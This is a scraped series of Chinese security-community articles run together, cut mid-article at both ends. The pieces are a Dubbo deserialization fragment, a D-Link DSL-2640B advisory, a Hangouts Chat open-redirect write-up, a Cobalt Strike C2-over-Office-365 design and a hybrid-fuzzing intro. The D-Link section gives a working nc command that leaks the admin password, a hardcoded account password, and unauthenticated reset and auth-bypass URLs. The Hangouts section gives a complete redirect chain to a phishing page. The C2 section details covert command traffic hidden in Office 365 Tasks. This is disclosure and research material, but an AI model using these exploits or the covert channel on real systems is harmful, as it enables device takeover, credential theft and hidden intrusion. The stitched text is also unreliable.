先简单看下之前说到的HTTP问题吧，直接用官方提供的[samples](https://github.com/apache/dubbo-samples/tree/master/java)，其中有一个dubbo-samples-http可以直接拿来用，直接在`DemoServiceImpl.sayHello`方法中打上断点，在`RemoteInvocationSerializingExporter.doReadRemoteInvocation`中反序列化了数据，使用的是Java
Serialization方式：
抓包看下，很明显的`ac ed`标志：
### **Apache Dubbo Dubbo反序列化**
同样使用官方提供的dubbo-samples-basic，默认Dubbo
hessian2协议，Dubbo对hessian2进行了魔改，不过大体结构还是差不多，在`MapDeserializer.readMap`是依然与Hessian类似：
## 参考
1. <https://docs.ioin.in/writeup/blog.csdn.net/_u011721501_article_details_79443598/index.html>
2. <https://github.com/mbechler/marshalsec/blob/master/marshalsec.pdf>
3. <https://www.mi1k7ea.com/2020/01/25/Java-Hessian%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/>
4. <https://zhuanlan.zhihu.com/p/44787200> | 社区文章 |
# D-Link DSL-2640B多个漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 raelize，文章来源：raelize.com
原文地址：<https://raelize.com/posts/d-link-dsl-2640b-security-advisories/#cve-2020-9276----d-link-dsl-2640b---do_cgi-buffer-overflow>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
在前一篇[文章](https://raelize.com/posts/security-impact-of-eol-devices/)中，我们介绍了超出产品支持生命周期（EoL）物联网设备中漏洞可能造成的影响，我们选择[D-Link DSL-2640B
DSL](https://eu.dlink.com/uk/en/products/dsl-2640b-adsl-2-wireless-g-router-with-4-port-10-100-switch)网关作为分析案例。在本文中，我们将介绍这些漏洞的具体细节。
在深入分析技术细节前，我们需要了解如下几点事实：
1、所有漏洞（至少）都适用于D-Link DSL-2640B型号（HW revision B2）；
2、所有漏洞都适用于官网最新提供的固件（截至2020年3月27日）；
3、所有漏洞均已反馈至D-Link；
4、我们没有收到D-Link发布的任何安全补丁；
5、由于这些设备处于EoL状态，根据D-Link的政策，官方可能永远不会提供安全补丁。
本文介绍的这些漏洞可能适用于其他硬件版本、其他固件版本甚至其他完全不同的型号。我们并没有进一步调查，D-Link也没有提供其他信息。
这里涉及到的漏洞包括：
* CVE-2020-9275 – D-Link DSL-2640B远程凭据泄露
* CVE-2020-9279 – D-Link DSL-2640B硬编码特权账户
* CVE-2020-9278 – D-Link DSL-2640B未授权配置重设
* CVE-2020-9277 – D-Link DSL-2640B CGI身份认证绕过
* CVE-2020-9276 – D-Link DSL-2640B `do_cgi`缓冲区溢出
我们提供了这些漏洞的技术细节，后续可能会进一步提供其他信息（如演示视频），有任何意见或建议可随时联系@raelizecom。
## 0x01 CVE-2020-9275：远程凭据泄露
利用该[漏洞](https://raelize.com/advisories/CVE-2020-9275_D-Link-DSL-2640B_Remote-Credentials-Exfiltration_v1.0.txt)，攻击者可以向设备的`65002`端口发送特定的UDP报文，从而获取设备管理密码。
如果攻击者已连入Wi-Fi或者本地LAN，或者可以通过其他方式访问到内部设备接口，那么就能通过一个UDP请求，拿到设备密码。
该设备的大多数功能（包括管理面板以及Web服务器）都由`cfm`这个进程实现，该进程会在设备启动时运行。`cfm`进程会在`UDP`
`65002`端口上监听，可能是提供设备配置功能的一个专用应用。相关通信协议如下图所示，函数名`pcApplication`直接来自于程序中的符号。
通信过程采用D-Link的专有协议，该协议并没有公开文档。经过逆向分析`cfm`程序后，我们能得到协议包的结构，如下所示：
该协议可以在2字节的`cmd`字段中指定命令代码，从而支持多个命令。通信流量采用明文形式，不需要经过身份认证。对于某些命令，代码只会检查报文中的MAC地址是否匹配目标设备的MAC地址。
`\x00\x01`命令可以从设备中获取系统信息，包括设备管理密码，设备以明文返回响应包。比如：
python -c 'print("\x00\x01"* 5)' | nc -u 192.168.1.1 65002
####MAC_ADDRESS####<boardID=D-4P-W><sysVersion=EU_3-10-02-3B00.A2pB022g2.d20h>
<sysModel=DSL-2640B><local_username=admin><local_password=password>
<local_ipaddress=192.168.1.1>
设备并没有检查`\x00\x01`命令中的MAC地址，并且会忽略后面的附加字节，因此我们很容易就能探测目标设备是否存在该漏洞。
我们其实使用了非常直接的fuzz方法发现了这个漏洞。我们首先尝试将`/dev/urandom`管道的数据送入UDP
`65002`端口，但并不认为这种方法能找到漏洞，因为我们没有监控流量、没有选择payload，也没有针对性进行调试。令人惊讶的是，经过几分钟后，设备就返回了管理员密码。
time cat /dev/urandom | nc -u 192.168.1.1 65002
&ZLM���<boardID=D-4P-W><sysVersion=EU_3-10-02-3B00.A2pB022g2.d20h>
<sysModel=DSL-2640B><local_username=admin><local_password=a>
<local_ipaddress=192.168.1.1>^C
real 2m53.240s
user 0m0.599s
sys 0m21.439s
由于目标设备的逻辑非常简单，UDP报文中只要`\x00\x01`处于合适的位置，设备就会返回管理员密码。因此即使我们采用的是最粗鲁的方法，也能在几分钟内拿到管理密码。
经过初步测试，我们发现该漏洞能在LAN网络中使用。然而设备服务似乎会在所有接口上监听，如下所示：
不幸的是，由于我们缺少适当的DSL连接，因此没有在WAN端验证该漏洞。根据我们目前掌握的信息，我们不排除该漏洞在WAN端被利用的可能性。如果大家可以提供更多信息，欢迎与我们交流。
## 0x02 CVE-2020-9279：硬编码特权账户
该[漏洞](https://raelize.com/advisories/CVE-2020-9279_D-Link-DSL-2640B_Hard-coded-privileged-account_v1.0.txt)对应的是设备中硬编码的一个用户账户，攻击者可能利用这些凭据来登录目标设备，执行管理任务。
我们分析了通过Web接口的身份认证过程，从而发现了这个漏洞。`cfm`进程提供的是通信“管道”，实际的认证过程委派给外部程序库`libpsi.so`。这个库使用了面向对象的方法来处理身份认证凭据以及传入的身份认证请求。
分析`cfm`进程的执行流后，我们找到了针对`user`用户的一个身份认证代码路径。
这里用于身份认证的默认密码已经硬编码到`libpsi.so`文件中。
逆向分析这个库后，我们发现该库会使用如下默认凭据来登录设备的Web口。
Username: user
Password: 00202b004720
虽然`user`用户的密码可以修改，但设备并没有提供Web空间来供用户修改。因此，这个密码在整个设备的使用周期内应该都会被设置为默认状态。重要的是，整个账户可以通过基于`lipsi.so`的任何服务（比如ftp、telnet及ssh）的身份认证。目前据我们所知，`user`用户具备与`admin`账户类似的功能。
有趣的是，尽管`libpsi.so`只提供了二进制格式的文件，但我们也能在设备的GPL源代码中看到这些凭据，如下图所示：
另一点也比较有趣，这些凭据都与`ASUS_USER_ACCOUNT`有关。这里大家可能比较好奇，为什么ASUS有关的账户会出现在D-Link设备中。
源代码本身并没有经过太多混淆处理，我们发现这些凭据同样适用于其他ASUS设备。ASUS在某些过时页面中将这些账户称为“ASUS Super
account”（ASUS超级账户）。
有人会认为这是ASUS的一个“特性”，然后因为某些未知的原因，最终这些“特性”出现在了D-Link设备上。IoT设备的供应链比较复杂，我们认为这可能是因为某些特殊的“供应链关系”所导致，而不是特意为之。
这里我们还想提一点，该漏洞可能通过浏览器pivot攻击方式来利用。如果连接Wi-Fi/LAN的设备访问了某个恶意站点，那么攻击者就有可能向网关发送精心涉及的请求。
## 0x03 CVE-2020-9278：未授权配置重置
利用该[漏洞](https://raelize.com/advisories/CVE-2020-9278_D-Link-DSL-2640B_Unauthenticated-configuration-reset_v1.0.txt)，攻击者可以访问特定URL，将目标设备重置为默认配置状态，整个过程不需要任何身份认证。
在不经过身份认证的情况下，任何人都可以访问目标设备的如下URL：
rebootinfo.cgi
ppppasswordinfo.cgi
qosqueue.cmd?action=savReboot
restoreinfo.cgi
更具体一些，我们只要请求如下URL，就可以将设备恢复为出厂设置状态：
http://<device_IP_address>/restoreinfo.cgi
攻击者可能将管理密码重置为默认值`admin`，登录设备然后执行各种管理任务，比如上传恶意固件、配置恶意DNS服务器等。
虽然攻击者需要访问设备的LAN口才能利用该漏洞，但也可以通过浏览器pivot技术来远程利用。控制恶意站点的攻击者可能随意重设目标设备的配置，在某种情况下完全控制该设备。
## 0x04 CVE-2020-9277：CGI认证绕过
攻击者可以利用CVE-2020-9277[漏洞](https://raelize.com/advisories/CVE-2020-9277_D-Link-DSL-2640B_CGI-Authentication-bypass_v1.0.txt)绕过受限资源的身份认证过程。比如，攻击者不需要提供有效的凭据，就可以直接访问Web接口的管理功能
Web服务器首先会确认所请求的URL是否需要身份认证。这个检查过程中会分析所请求文件的扩展名，而文件扩展名位于URL的尾部。比如，用户访问`cgi`管理模块时就需要身份认证。在代码中，身份认证并没有立即进行，而是会稍后处理。
随后，代码会确认不需要经过身份认证的特定资源，比如图像或者Javascript脚本等。代码会使用`strncmp()`函数，将URL开头部分与特定字符串（比如`/images/`、`utils.js`）进行匹配。如果匹配成功，就不会执行身份认证过程，并且会无视上一步的身份认证条件。随后，设备会将该请求当成已通过身份认证的请求来处理。
最后，如果请求了`cgi`模块，`do_cgi()`函数就会使用`strstr()`函数搜索URL中的任意位置，来确定待执行的模块。
以上检查过程都互相独立，没有继承任何状态。攻击者随后可以构造恶意URL来绕过针对`cgi`模块的身份认证。比如，攻击者可以通过如下URL，将设备的管理密码重置为`newpass`，整个过程不需要任何身份认证：
原始URL: http://<device_IP_address>/redpass.cgi?sysPassword=newpass
攻击URL: http://<device_IP_address>/images/redpass.cgi?sysPassword=newpass
攻击者可以利用该漏洞完全控制目标设备，未经身份认证执行管理功能。该漏洞需要访问设备的LAN口，但可以通过浏览器pivot方式来利用，因此远程攻击者也可以通过互联网进行攻击。
## 0x05 CVE-2020-9276：do_cgi缓冲区溢出
这是`do_cgi()`函数中的一个缓冲区溢出[漏洞](https://raelize.com/advisories/CVE-2020-9276_D-Link-DSL-2640B_do_cgi-buffer-overflow_v1.0.txt)，设备在解析用户请求的`cgi`模块名时存在漏洞。攻击者可以在URL中提供恶意的`cgi`模块名，从而以管理权限在设备上执行任意代码。
为了识别待执行的模块，`do_cgi`函数会将模块名拷贝到栈上。然而，设备并没有检查用户提供的模块名是否适合已分配的缓冲区，如下图所示：
因此，较长的`cgi`模块名会覆盖栈上保存的返回地址，从而导致经典的栈溢出漏洞，容易被利用。
从原理上讲，`do_cgi()`函数只能在经过身份认证后才能访问。然而，攻击者可以结合[CVE-2020-9277](https://raelize.com/posts/d-link-dsl-2640b-security-advisories/#cve-2020-9277----d-link-dsl-2640b---cgi-authentication-bypass)漏洞，绕过身份认证来利用该漏洞。如下图所示，我们可以绕过身份认证来利用该漏洞，执行反向shell
payload。 | 社区文章 |
原文：<https://blog.bentkowski.info/2018/07/vulnerability-in-hangouts-chat-aka-how.html>
几个月前，谷歌发布了一个新产品：[Hangouts Chat](https://gsuite.google.com/products/chat/
"Hangouts Chat")应用程序，这无疑是对[Slack](https://slack.com/ "Slack")的一个回应。Hangouts
Chat不仅提供了[浏览器版本](https://chat.google.com "浏览器版本")（要求具有G
Suite帐户），同时，也提供了桌面版或移动版应用程序，对于后者，读者可从[这里](https://get.google.com/chat/
"这里")下载相应的程序。
与此同时，几个月前，我正好获得了一笔用于分析应用程序安全性的[研究经费](https://www.google.com/about/appsecurity/research-grants/ "研究经费")，于是，我决定专注于考察桌面应用程序的安全漏洞。
**Hangouts Chat——桌面应用**
* * *
安装后，该桌面应用程序实际上就是一个[Electron](https://en.wikipedia.org/wiki/Electron_\(software_framework)
"Electron")应用程序。从本质上说，该桌面应用程序只是用于显示“<https://chat.google.com”上托管的Web应用程序的内容而已。>
因此，对于这款Electron应用程序来说，查找其安全漏洞，与查找其Web版本的安全漏洞并没有什么多大区别。不过，有一点需要注意，即该应用的Web版本在浏览器中显示时，它提供了相应的地址栏。事实上，该地址栏是用户判断域名是否可信的唯一途径。正如Micha?
Zalewski在Tangled Web中所言：
实质上，浏览器地址栏中显示的URL中的域名是Web上最重要的安全指标之一，因为用户可以利用它们快速将可以信任并可与之进行业务往来的站点跟互联网中的其他站点区分开来。
但是，在Electron应用程序中，却没有提供地址栏。这意味着，用户必须相信应用程序本身提供的、来自“<https://chat.google.com”的内容，但并没有可靠的指标对其进行确认。>
于是我想，也许可以找到一种方法将应用程序重定向到外部域（即chat.google之外的域），这样的话，就可以非常可靠地进行网络钓鱼了。为此，可以用户将重定向到攻击者控制的外部域，并设法让登录面板与Googe的原始登录面板尽量相似。由于没有地址栏，用户将无从判断该面板是真是假。
**寻找重定向**
* * *
于是，我就从最简单的想法开始下手：将用户重定向到另一个域。为此，我们只要在该聊天软件中添加一个指向外部域的链接即可。这样的话，只要用户点击了该链接，就会被重定向。
然而，这显然是行不通的，因为外部链接将会在默认浏览器中打开。
但是，我们也不用灰心，继续探索。
经过进一步研究，我注意到chat.google.com的链接是直接在Electron应用程序中打开的。顺便说一下，当用户点击的链接返回200以外的代码时（例如：“<https://chat.google.com/webchannel/events”），用户必须重启该应用程序，因为它没有提供返回按钮！>
要想绕过URL访问规则，一种非常常见的方法便是滥用重定向（响应代码为3xx）。研究发现，当导航到不存在的网址（例如“<https://chat.google.com/test123”）时，“chat.google.com”会被重定向到“https://chat.google.com/u/0/?hasBeenRedirected=true”。因此，我在Burp中定义了相应的匹配/替换规则，将“hasBeenRedirected>
= true”URL重写为sekurak.pl，来看看会发生什么情况。
这就是该应用程序的反应：
太棒了！它实际上证实了302重定向能被用来在Hangouts Chat窗口中显示任意网站。
接下来，只要对“<https://chat.google.com”进行实际的重定向就行了。>
**开放式重定向漏洞**
* * *
开放式重定向的确是一种安全漏洞，但是在我看来，其威胁程度往往被高估。下面内容摘自谷歌的[漏洞赏金大学](https://sites.google.com/site/bughunteruniversity/nonvuln/open-redirect "漏洞赏金大学")页面：
开放式重定向器会将您从Google
URL转到由构建该链接的人指定的另一个网站。安全社区的一些成员认为，这种重定向器会成为网络钓鱼的帮凶，因为用户可能倾向于信任链接上的鼠标悬停工具提示，然而，导航动作一旦执行就无法检查地址栏了。
对于这种观点我是赞同的。通常情况下，用户应该将地址栏作为唯一可靠的安全指标。但是，在Electron中，情况就变了——在Electron应用程序中，并没有地址栏，因此，用户无法确认网站的身份。所以，在这种情况下，缺乏地址栏显然是一个严重的安全漏洞。
事实表明，在“<https://chat.google.com”中搜索开放式重定向漏洞，比我最初想象的要容易得多。因为在“https://chat.google.com/accounts”域下的任何网址都会被重定向到“https://accounts.google.com”。例如，您可以点击下列链接：“https：//chat.google.com/accounts/random-url”。点击后，您将会被重定向到“https://accounts.google.com/random-url”地址。>
不过，重定向到“accounts.google.com”只是攻击过程的第一步。实际上，最重要的事实是，在“accounts.google.com”上存在一个已经公开披露的著名开放式重定向漏洞（[@teh_h3ck](https://twitter.com/teh_h3ck
"@teh_h3ck")）。如果读者想要了解该漏洞的详细情况的话，请参阅原始文章；就这里来说，我们只需知道，为了重定向到自己的域，只需要将相关的东西托管到/_ah/conflogin
URL上即可。
最终，用于chat.google.com的开放式重定向代码如下所示：
https://chat.google.com/accounts/ServiceLogin?continue=https://appengine.google.com/_ah/conflogin?continue=http://bentkowski.info/&service=ah
然后，我又仿造了一个类似于谷歌的登录页面——现在，我们终于搞定了一个非常可靠的网络钓鱼页面:)
如上面的gif所示，用户根本无从得知自己位于假冒的页面上，因为这里压根就没有地址栏呀。
不过，上面介绍的攻击方法对该软件的Web应用程序版本是不起作用的：
**小结**
* * *
正如您所看到的，由于Electron应用程序没有提供地址栏，所以才使开放式重定向漏洞有了可乘之机。因此，当您开发Electron应用程序的时候，请确保无法将主窗口重定向到外部域。
如果您正在使用Google Hangouts Chat，请务必进行更新，因为谷歌已经在几天前就发布了相应的安全补丁。
有趣的是，谷歌对该漏洞的赏金非常慷慨，支付了7,500美元。需要说明的是，该赏金实际上针对代码执行漏洞的。虽然我仍然无法将其升级为代码执行漏洞，但Matt
Austin（[@mattaustin](https://twitter.com/mattaustin
"@mattaustin")）在[推文](https://twitter.com/mattaustin/status/1022648925902200832
"推文")中已经指出，这种漏洞升级是完全可行的。谢谢您的出色工作，Matt！
顺便说一下，对于谷歌提供的研究经费表示衷心感谢！否则的话，到现在我可能也不会接触该应用程序。 | 社区文章 |
# 【技术分享】如何利用Office 365的任务功能搭建Cobalt Strike C2通道
##### 译文声明
本文是翻译文章，文章来源：安全客
原文地址：<https://labs.mwrinfosecurity.com/blog/tasking-office-365-for-cobalt-strike-c2/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
在定制化、创新化命令与控制（C2，Command and
Control）通道方面，人们已经做了许多研究工作，然而已公开的研究成果通常只是独立的理论概念，没有集成到现有的攻击工具包中。Cobalt
Strike最近添加了一个新的扩展功能，可以在保持工具兼容性的前提下，创造隐蔽的C2通道。
Cobalt Strike新添加的扩展名为“External C2”，为了最大化挖掘该扩展的潜能，MWR团队开发了一个定制版的C2通道，使用Office
365作为通信媒介。本文介绍的主要内容如下：
1、利用Office 365服务中Outlook的“任务（tasks）”功能，演示如何搭建Cobalt Strike的C2通道。
2、分析定制化Cobalt Strike C2通道时会碰到的一些困难，并介绍了解决这些困难的一种方法。
**二、External C2接口**
****
Cobalt Strike是一个渗透平台，广泛应用于面向目标的操作场景，用来模拟特定威胁来源。Cobalt
Strike包含许多重要功能，比如beacon植入体（implant）以及“可拓展的C2”通道。可扩展的C2功能可以用来定制C2请求以及响应消息的具体结构。比如，我们可以定制HTTP头部、正文中的数据结构，以及C2数据在这些结构中的存储方法。利用这种功能，我们可以设计弹性化C2通道，将C2通信流量隐藏在正常的流量中。虽然可扩展C2提供了丰富的定制化选项，但仍然存在几个限制条件，需要我们注意：
1、该功能仅支持Cobalt Strike支持的某些协议，即：HTTP/HTTPS以及DNS协议。
2、与使用这些协议的“外部”服务通信本身就是比较有难度的一个过程，并且大多数情况下都难以成功。
3、对于HTTP/HTTPS而言，该功能仅限于客户端-服务器应用场景，这种情况下，客户端（即植入体）会向服务器（Cobalt
Strike团队服务器（team server））发布请求，服务器会直接返回响应数据。
作为Cobalt Strike的创始人，Raphael
Mudge最近发布了一个概念验证功能型扩展，可以使用任意C2通道，这个功能也就是我们今天要介绍的“External C2”接口。
我们可以将该接口与传统的Cobalt
Strike用法做对比，来理解这个接口的工作原理。简单起见，这里我们只会分析HTTP/HTTPS场景。在这个场景中，通常情况下，（内存中或磁盘上的）某个植入体会使用HTTP/HTTPS协议作为通信协议，直接与Cobalt
Strike团队服务器通信，更多情况下，植入体会使用重定向器（redirector）与团队服务器通信，重定向器负责将通信流量转发给团队服务器。典型的使用场景如下图的左图所示。其他植入体可以使用与C2相同的通信协议来传播，或者也可以使用SMB协议进行分发。使用SMB协议时，新的植入体与源植入体之间需要使用命名管道（named
pipe）来通信，而源植入体负责中继原始C2通道的通信流量。
“External C2”支持在传统的Cobalt Strike C2模型中使用中间人（man-in-the-middle）技术。在这种情况下，客户端代码包含一个第三方客户端以及一个SMB植入体。第三方客户端不需要负责Cobalt
Strike功能，相反，它负责生成SMB植入体，然后通过命名管道与SMB植入体通信。通过命名管道收到流量后，第三方客户端可以将这些流量再次封装，然后通过任意C2通道传输。服务端要搭建一个第三方控制端，以接收并解封装C2流量，然后使用简单的TCP套接字将经过处理的C2流量转发给团队服务器。Cobalt
Strike通过“aggressor script”启动“External C2”接口，团队服务器通过“External
C2”接口来监听数据（“aggressor script”是Cobalt Strike的脚本引擎）。“External
C2”接口可以在任意端口上监听，与现有的“监听器（listeners）”功能类似（listeners为接收特定协议连接的端点）。通信数据的回连路径与发送路径相同。
Raphael Mudge所实现的External C2接口中包含aggressor
script以及一个简单的第三方客户端。第三方客户端与控制端之间使用基本的TCP套接字进行通信。Raphael
Mudge没有实现任何第三方控制端，然而由于整条C2路径仅用到了TCP套接字，在测试场景中，我们可以使用TCP端口转发来模拟其功能。
**三、与Office 365同步“任务”**
****
只要攻击者的想象力足够丰富，他就可以利用“External
C2”接口来选择使用各种类型的C2通道。本文使用C++语言写了段PoC代码，简单实现了“External
C2”的第三方客户端以及控制端组件，利用这些组件，配合Office
365服务中Outlook的“任务（tasks）”功能来搭建一个C2通道。随着越来越多的组织选择使用Office
365服务，利用这种方式构建的C2通道也显得更加隐蔽，难以与合法的流量区分开来。
**3.1 与Office 365交互**
Office 365中的Outlook由Microsoft Exchange来提供功能支持是非常正常的一件事情，令人惊讶的是，我们也可以通过Office
365来使用Exchange内部实例所支持的许多功能。
Exchange提供了一个非常重要但又不太知名的功能，那就是 **Exchange Web Services（EWS）** 功能。EWS是一个SOAP
Web服务，客户端可以通过该服务与Exchange进行交互。EWS默认处于启用状态，与Outlook Web
App（OWA）地址处于同一级别，具体地址为：“ **https:// <domain>/EWS/**”。我们发现Office
365的确提供了EWS服务，具体地址为：“<https://outlook.office365.com/EWS/>”。
许多客户端应用程序会用到EWS服务，比如桌面版Outlook中的“加载项（add-ins）”功能；Outlook本身会使用MAPI/RPC来与Exchange进行交互，无需依赖EWS服务。然而，EWS支持MAPI/RPC所提供的大部分功能，只有某些情况除外（例如，EWS无法创建“有风险”的某些Outlook规则，如“启动应用程序”规则）。
EWS支持各种功能，比如创建、修改以及删除邮件、日历、联系人、任务等Outlook支持的功能。这些操作都会同步到Exhcange上，因此也可以用作C2媒介加以使用。
出于演示目的，在本文的PoC中，我们选择使用其中的“任务”功能。与电子邮件一样，每个任务项目都可以包含非常大的数据量。之所以选择任务功能作为目标，原因是现有的安全控制机制主要针对的是电子邮件（比如自动扫描邮件中包含的恶意软件），因此，任务功能可以成为更为隐蔽也更为安全的使用媒介。
我们可以使用Office 365
EWS服务来创建一个任务，以此为例展示该技术在实际环境中的应用场景。任务的内容由“主题（Subject）”以及“正文（Body）”标签来表示。这两个特征可以用来构建C2通道，如下文所述。我们还使用了“截止日期（DueDate）”标签，其他可用标签的使用方法与该标签类似。任务中包含的许多标签可以用于C2通信，比如，某些标签可以作为信令标志加以使用（例如，我们可以将“非常重要（high
importance）”标签的值设为“启用（enabling）”，以表示C2通道处于阻塞状态）。然而，我们的PoC代码并没有用到所有标签，仅用到了其中的“Subject”以及“Body”标签。
将这个请求发送给Office 365会得到什么结果？这正是本文要介绍的重点。
利用EWS服务，我们可以通过Office
365来创建及删除任务。本文的PoC代码中会覆盖到这两个操作。从攻击角度来看，这些操作的结果是会生成大量流量，发往已知的、合法的且信誉度较高的域名。从防御角度来看，我们很难将这些流量标记为非法流量，特别是当正常业务中Office
365的使用场景越来越普遍时，这些恶意流量会更加难以识别。
**3.2 消息格式**
现在我们已经有办法与Office 365交互，这一节中，我们会讨论如何把这种方法应用于Cobalt Strike
C2通道中，也会探讨实际工具中使用这种方法会遇到的一些困难。
在PoC代码中，我们采用了两个关键设计理念。首先，我们会根据具体的流量模式（即server-to-client（S2C）还是client-to-server（C2S））来使用不同的通信通道，这样控制端及客户端就能快速识别相应的任务以便后续处理。其次，每个通道可以使用多个任务，这样就能提高传输速率。当然我们还可以使用其他可选方法，比如我们可以使用经常修改的一小部分原型任务或者邮件，然而这会大大降低整体性能，也会加大整体复杂性，比如我们需要考虑排队以及信令等复杂情况。根据这两个设计理念，最终我们使用的C2架构如下所示：
对于每个任务，我们将Cobalt
Strike团队服务器或植入体所使用的核心数据载荷（payload）以base64编码形式存储在任务的body区中。每个任务需要包含某些特征字符，以便各自能够相互区分。特征字符包含在任务的subject字段中，以冒号作为分隔符。subject中包含的特征字段如下所示：
1、通道模式（Channel）：表明通信流的方向，为S2C或者C2S。
2、连接标识符（Connection
identifier）：随机生成的包含数字和字母的一个字符串，以标识C2通道上的每个“连接”。PoC代码使用这个字段以支持多客户端功能。客户端和控制端需要在各自的消息中包含这个字段。
3、消息序号（Message sequence number）：一个递增整数，以标识创建的每个任务。这个字段用来确保接收端以正确的顺序处理收到的任务。
4、数据长度（Data length）：一个整数，以表示任务body字段中的数据经过base64解码后所包含的字节数。
5、消息摘要（Message
digest）：用于完整性检查的一个值。我们根据未经base64编码的载荷计算出这个值，接收端收到载荷后，根据base64解码结果计算校验值，再跟原来的值对比。在本文所用的PoC代码中，这个值仅用来验证客户端连接开始时所使用的传输器（staged）植入体是否有效。
根据这些字段，在Office 365中传输的典型C2流量如下所示：
**3.3 C2组件控制流程**
实现这种“External
C2”方案的最大挑战在于如何支持多个客户端连接。原因主要在于我们需要花许多精力来识别并跟踪每个客户端连接的状态，还要确保能够正确发送和接收C2流量。我们在PoC代码中解决了这个难题，在下文中，我们会介绍客户端和控制端的控制流程，这是解决问题的关键点。
客户端的控制流程如下图所示。PoC代码可以支持传输器（staged）载荷（下文使用A来表示）以及完整版的传输器（full
staged）载荷（下文使用B来表示），因此我们需要在流程（1）中识别载荷所使用的具体方法。在流程（2）中，A方法所使用的消息结构与Raphael
Mudge所使用的结构一样，涉及如下四类消息：架构信息（“arch=<value>”）、命名管道的名字（“pipename=<value>”）、“no-op”帧之间间隔的毫秒数（“block=<value>”）以及用来与团队服务器建立连接的一个触发指令（“go”）。这个流程中会随机生成一个包含字母数字的字符串，作为命名管道以及连接的标识符。消息随后会被封装，然后经过Office
365进行传输。在流程（3）中，我们会接收Office
365返回的A类型植入体（大小约200KB），检查该植入体是否完整，如果完整性校验不通过，会再次请求这个植入体。在流程（4）中，我们将植入体载入内存，调用CreateThread()函数启动植入体。B类型客户端会从流程（1）直接跳到流程（4）。在这种情况下，我们需要使用静态管道名，与生成B类型植入体文件所使用的管道名一致。这类植入体会创建一个命名管道，然后客户端会尝试连接这个管道，为了保证稳定性，如果连接失败，我们会使用新的命名管道名称再次发起请求。目前我们的“External
C2”方案尚未完全支持B类型植入体，需要添加其他代码以支持这个功能。为了通过“External
C2”接口收到来自植入体的连接请求，团队服务器必须收到“go”触发指令。简单加载植入体并不能实现与团队服务器的通信。虽然我们可以使用其他参数来单独发送触发信令，但从结果上来看，我们还是会收到使用默认值（如“pipename=externalc2”）的传输器载荷响应。这个响应对我们来说有点多余。
随后，我们会进入一个循环流程。在流程（5）中，客户端检查命名管道上是否有可用数据，如果可用则读取相应数据。流程（6）中，客户端将读取的数据封装成一个任务，然后发给Office
365。流程（7）中，检查并接收Office
365上的可用任务。流程（8）中，对收到的任务进行解封装，识别对应的客户端。流程（9）中，如果有可用任务，会根据控制端消息序号对这些任务进行排序，按顺序处理后再写入命名管道中，最后，从Office
365中删除这些任务。这种循环处理逻辑可以让植入体获得Office 365的轮询时间，因此可以通过“sleep”命令动态控制轮询请求。
控制端的控制流程如下图所示，流程（1）、（2）、（3）、（4）、（5）属于第一段控制流程，流程（6）、（7）、（8）属于第二段控制流程。流程（1）中，检查Offce
365上是否有可用任务用于客户端通信。如果有可用任务，流程（2）中客户端会获取并拆分这些任务。如果任务来自于以前没见过的客户端，流程（3）中会实例化一个类，专门处理客户端的变量及方法。在流程（6）中，生成的对象中包含一个特定方法，负责处理连接到Cobalt
Strike团队服务器的每个客户端TCP套接字。流程（4）中，从Office
365收到的任务会根据序号进行排序。流程（5）中，从正确的客户端对象中识别已建连TCP套接字（每个客户端都应该有自己的套接字连接），通过TCP套接字将解码后的任务发给团队服务器。发送完毕后，从Office
365上删除这些任务。流程（7）中，团队服务器返回响应，使用相应的客户端信息将响应封装成任务，发给Office
365。通过这种工作流程来发送和接收任务，我们可以控制任务轮询速率。第一段控制流程负责接收任务，可以个性化配置，通过批处理方式让所有客户端处理来自Office
365的任务（比如，可以避免定时向服务器发起请求）；在第二段控制流程中，每个客户端可以自动从团队服务器上接收数据，然后根据实际需求将数据以任务形式发送给Office
365。
**3.3 场景演示**
我们搭建了一个演示场景，包含1个控制端以及3个客户，具体操作如下视频所示。在这个场景中，客户端使用的是全功能版的传输器载荷。
从视频中你可以看到，虽然依赖于外部服务，但整体的响应速度还是可以接受，而新增的延迟主要来自于控制端和客户端在请求及响应循环中的处理时间。尽管存在延迟，在不优化性能的情况下，利用这种方法每个客户端还是可以达到每分钟2MB左右的下载速度，主要原因是任务的body字段可以包含大量数据。后续我们可以考虑使用Office
365的其他功能来提升速度，比如，我们可以使用Office 365提供的批量数据上传功能。
**四、总结**
****
本文介绍了Cobalt Strike的“External C2”接口，提供了PoC实现方法，借助Office
365服务中Outlook的“任务（tasks）”功能搭建了一条C2通道。
需要注意的是，尽管本文侧重于Office
365服务，但我们给出的方法适用于使用Exhange服务的其他互联网产品，其中不乏许多商业产品。比如，我们可以将某个目标组织自己搭建的Exchange服务作为C2通道媒介加以使用
。在这种情况下，C2通信的初始阶段（即客户端与Exchange建连阶段）将完全停留在目标网络内部，只有控制端连接到目标组织的Exhcange实例时才会产生外部流量。对攻击者而言，这种方法的缺点在于目标安全团队可以访问Exchange的日志，如果我们使用的是Office
365，目标安全团队就难以做到这一点。
“External C2”接口目前仍处于早期试用阶段，需要解决许多问题才能在在实际生产环境中使用。对进攻发起方而言，“External
C2”接口提供了动态C2通道功能，可以让C2研究工作大放异彩。 | 社区文章 |
# Hybrid Fuzzing Paper Summary
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
Hybrid Fuzzing 是结合了 Fuzzing 和 Symbolic Execution
的分析技术，能够结合两种技术的优点，同时互补不足。但是在两者的结合中，涌现出一些新的问题。本文对近年来在顶会及相关知名会议中发表的 hybrid
fuzzing 论文进行梳理。
## 背景
### Fuzzing
fuzzing 又称模糊测试，是一种轻量级的动态测试方法，通过不停变异输入，输入给测试程序，观察程序运行是否表现异常来检测是否存在漏洞。fuzzing
以其快速高效的效果，成为近年来较为流行的漏洞挖掘技术。
fuzzing 的优点在于快速高效，以 AFL 为代表，AFL 是一种 Coverage-guided
fuzzing，追求尽可能的覆盖到多的代码，每当有变异的输入覆盖到新的代码，就将该输入保存下来作为
seed，后续在其之上继续变异。通过这样不停迭代，探索到更多的代码区域。
但由于 fuzzing 的变异通常是随机的，对于一些简单的条件分支语句，因为 fuzzing
